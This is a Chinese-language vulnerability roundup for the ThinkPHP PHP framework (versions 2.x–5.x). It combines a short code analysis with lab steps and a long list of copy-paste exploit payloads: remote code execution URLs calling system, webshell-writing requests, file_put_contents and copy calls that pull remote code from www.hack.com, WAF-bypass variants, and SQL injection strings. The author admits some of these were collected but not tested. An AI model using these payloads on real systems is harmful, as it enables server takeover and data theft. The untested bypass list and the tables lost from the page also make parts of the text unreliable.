Think PHP漏洞总结(全系列)
0x01 组件介绍
1.1 基本信息
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。 ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。1.2 版本介绍
ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示:0x02 高危漏洞介绍
通过对ThinkPHP漏洞的收集和整理,过滤出其中的高危漏洞,可以得出如下列表: 从上表数据来看,ThinkPHP 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。 从中可以看出,ThinkPHP近年出现的高风险漏洞主要存在于框架中的函数,这些漏洞均需要在二次开发的过程中使用了这些风险函数方可利用,所以这些漏洞更应该被称为框架中的风险函数,且这些风险点大部分可导致SQL注入漏洞,所以,开发者在利用ThinkPHP进行Web开发的过程中,一定需要关注这些框架的历史风险点,尽量规避这些函数或者版本,则可保证web应用的安全性。0x03 漏洞利用链
3.1 暴露面梳理
根据ThinkPHP的历史高危漏洞,梳理出分版本的攻击风险点,开发人员可根据以下图标,来规避ThinkPHP的风险版本,如下ThinkPHP暴露面脑图。3.2 利用链总结
基于暴露面脑图,我们可以得出几种可以直接利用的ThinkPHP框架漏洞利用链,不需要进行二次开发。3.2.1 ThinkPHP 2.x/3.0 GetShell
ThinkPHP 低于3.0 - GetShell ThinkPHP 低版本可以使用以上漏洞执行任意系统命令,获取服务器权限。3.2.2 ThinkPHP 5.0 GetShell
ThinkPHP 5.0.x - GetShell 首先明确ThinkPHP框架系列版本。 根据ThinkPHP版本,如是0.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。3.2.3 ThinkPHP 5.1 GetShell
ThinkPHP 5.1.x - GetShell 首先明确ThinkPHP框架系列版本。 根据ThinkPHP版本,如是1.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞1,无需登录,即可执行任意命令,获取服务器最高权限。 如需使用ThinkPHP 5.x远程代码执行漏洞2,则需要php文件中跳过报错提示,即 文件中有语句:“error_reporting(0);”,故该漏洞在5.1.x系列版本利用需要满足以上前提,利用较难。0x04 高危利用漏洞分析
从高危漏洞列表中,针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。 从高危漏洞列表中,针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。4.1 ThinkPHP 2.x/3.0远程代码执行漏洞
4.1.1 漏洞概要
漏洞名称:ThinkPHP 2.x/3.0远程代码执行
参考编号:无
威胁等级:高危
影响范围:ThinkPHP 2.x/3.0
漏洞类型:远程代码执行
利用难度:简单
4.1.2 漏洞描述
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架。Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数,使得preg_replace第二个参数就会被当做php代码执行,导致存在一个代码执行漏洞,攻击者可以利用构造的恶意URL执行任意PHP代码。4.1.3 漏洞分析
漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由,我们都知道,preg_replace的/e模式,和php双引号都能导致代码执行的,即漏洞触发点在102行的解析url路径的preg_replace函数中。代码如下: 该代码块首先检测路由规则,如果没有制定规则则按照默认规则进行URL调度,在preg_replace()函数中,正则表达式中使用了/e模式,将“替换字符串”作为PHP代码求值,并用其结果来替换所搜索的字符串。 正则表达式可以简化为“\w+/([^/])”,即搜索获取“/”前后的两个参数,$var[‘\1’]=”\2”;是对数组的操作,将之前搜索到的第一个值作为新数组的键,将第二个值作为新数组的值,我们发现可以构造搜索到的第二个值,即可执行任意PHP代码,在PHP中,我们可以使用${}里面可以执行函数,然后我们在thinkphp的url中的偶数位置使用${}格式的php代码,即可最终执行thinkphp任意代码执行漏洞,如下所示:/vulhub/thinkphp/2-rce docker-compose up -d
验证漏洞
http://192.168.1.21:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
菜刀连接
/vulhub/thinkphp/5-rce docker-compose up -d
验证漏洞
http://192.168.1.21:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell <?php eval($_POST[zcc]);?> #需要进行url编码
/vulhub/thinkphp/in-sqlinjection docker-compose up -d
验证漏洞
0x05 漏洞总结
下面是别人总结绕过的,未测试。5.1 thinkphp 5.0.5
(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
5.3 thinkphp 5.0.11
eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
5.5 thinkphp 5.0.18
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
5.7 thinkphp 5.0.22
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al Debug模式 (post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
5.9 thinkphp 5.1.18
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1 http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
5.11 thinkphp 5.1.*和5.2*和5.0*
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
index.php?s=/home/shopcart/getPricetotal/tag/1%27
index.php?s=/home/shopcart/getpriceNum/id/1%27 index.php?s=/home/user/cut/id/1%27 index.php?s=/home/service/index/id/1%27 index.php?s=/home/pay/chongzhi/orderid/1%27 index.php?s=/home/pay/index/orderid/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/complete/id/1%27 index.php?s=/home/order/detail/id/1%27 index.php?s=/home/order/cancel/id/1%27 index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+ POST /index.php?s=/home/user/checkcode/ HTTP/1.1 Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#
5.13 当php7以上无法使用Assert的时候用
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo(); 有上传图片或者日志用这个包含就可以
参考
- thinkphp漏洞分析与总结 · Drunkmars's Blog
- thinkphp漏洞分析和总结 - 文章整合 (chowdera.com)
- ThinkPHP框架漏洞总结 - FreeBuf网络安全行业门户
- ThinkPHP 5.x RCE分析_0verWatch的博客-CSDN博客_rce分析
- ThinkPHP 5.x 远程命令执行漏洞分析与复现 | PHP 技术论坛 (learnku.com)
- ThinkPHP5 SQL注入漏洞 && 敏感信息泄露【通过】 - 账号审核 - 90Sec